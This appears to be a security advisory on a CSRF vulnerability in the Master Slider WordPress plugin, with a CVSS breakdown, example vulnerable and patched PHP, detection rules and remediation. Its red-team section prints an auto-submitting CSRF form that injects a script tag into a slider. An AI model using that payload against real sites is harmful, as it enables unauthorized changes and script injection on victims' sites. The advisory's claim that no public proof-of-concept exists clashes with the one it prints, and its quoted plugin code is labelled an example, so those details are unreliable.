CVE-2023-50900

Executive Summary

CVE-2023-50900 is a Cross-Site Request Forgery (CSRF) vulnerability in the Averta Master Slider WordPress plugin, affecting versions through 3.9.10. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying slider settings or injecting malicious content, without their consent. The vulnerability is classified as a WordPress ecosystem issue and does not involve server-level components like Apache or Nginx. With a CVSS score of 4.3 (Medium), the risk is elevated due to the plugin’s widespread use in WordPress sites. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch, leaving sites exposed.

Supply Chain & Package Security

This vulnerability affects the Master Slider WordPress plugin, distributed via the official WordPress plugin repository. As a third-party component, it introduces supply chain risk: site administrators must manually monitor for updates or apply mitigations. No known malicious packages or compromised versions have been reported, but the lack of a patch increases the attack surface for WordPress sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – attacker does not need authentication.
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – no data disclosure.
• Integrity Impact: Low (I:L) – attacker can modify plugin settings or inject content.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The CSRF vector requires social engineering, but the lack of a patch and the plugin’s popularity make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the Master Slider plugin’s administrative interface, specifically in the AJAX handlers that process slider creation, editing, and deletion. The plugin fails to implement nonce validation or other CSRF tokens on these endpoints, allowing an attacker to forge requests on behalf of an authenticated administrator.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a CSRF payload (e.g., a hidden form or image tag) that targets a vulnerable endpoint, such as wp-admin/admin-ajax.php?action=masterslider_save_slider.
2. The victim, who is logged into WordPress as an administrator, visits the attacker’s page.
3. The victim’s browser automatically sends the forged request, including their session cookies.
4. The plugin processes the request, performing actions like creating a new slider with attacker-controlled content or modifying existing sliders.

Root Cause: The plugin’s AJAX actions (e.g., masterslider_save_slider, masterslider_delete_slider) do not verify a nonce or check the Referer header, making them susceptible to CSRF.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is present in all versions up to 3.9.10. A hypothetical fix would involve adding nonce verification to all AJAX handlers.

Vulnerable Code (example from admin/class-master-slider-admin.php):

add_action('wp_ajax_masterslider_save_slider', 'masterslider_save_slider_callback');
function masterslider_save_slider_callback() {
    // No nonce check
    $slider_data = $_POST['slider_data'];
    // Process and save slider...
}

Patched Code (hypothetical):

add_action('wp_ajax_masterslider_save_slider', 'masterslider_save_slider_callback');
function masterslider_save_slider_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'masterslider_save_slider_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $slider_data = $_POST['slider_data'];
    // Process and save slider...
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites: A WordPress site with Master Slider <= 3.9.10 installed and an authenticated administrator.

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that targets the slider creation endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="masterslider_save_slider">
    <input type="hidden" name="slider_data" value='{"title":"Malicious Slider","slides":[{"content":"<script>alert(1)</script>"}]}'>
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the victim via phishing email or social engineering.

Step 3: Verify After the victim visits the link, check the WordPress admin panel for the new malicious slider.

Blue Team (Defender)

Detection: Monitor for unusual AJAX requests to admin-ajax.php with the action parameter set to masterslider_*. Use the Sigma rule below.

Mitigation: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce (if possible). Alternatively, disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=masterslider_save_slider or similar.
• File: Unexpected slider entries in the WordPress database (wp_masterslider_sliders table).
• Log: WordPress debug log entries showing failed nonce checks (if custom logging is added).
• Behavior: Unauthorized changes to slider content or creation of new sliders by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2023_50900_CSRF_MasterSlider {
    meta:
        description = "Detects CSRF exploitation attempts against Master Slider plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50900"
    strings:
        $ajax_action = "masterslider_save_slider" nocase
        $ajax_action2 = "masterslider_delete_slider" nocase
        $ajax_action3 = "masterslider_update_slider" nocase
        $wp_ajax = "admin-ajax.php" nocase
    condition:
        any of ($ajax_action*) and $wp_ajax
}

Sigma Rule

title: CVE-2023-50900 Master Slider CSRF Exploitation
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects CSRF attempts against Master Slider plugin AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=masterslider_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-50900 Master Slider CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=masterslider_"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, until a patch is released.
2. Implement CSRF protection manually by adding nonce verification to the plugin’s AJAX handlers (see patched code example).
3. Use a Web Application Firewall (WAF) to block requests to admin-ajax.php that do not include a valid nonce (if supported).

Long-Term Fix:

• Monitor the Averta plugin repository for an official update. If none is forthcoming, consider replacing Master Slider with an alternative slider plugin that is actively maintained.

User Awareness:

• Train administrators to avoid clicking suspicious links while logged into WordPress.
• Enforce the principle of least privilege: limit admin accounts to only necessary users.

Valters IT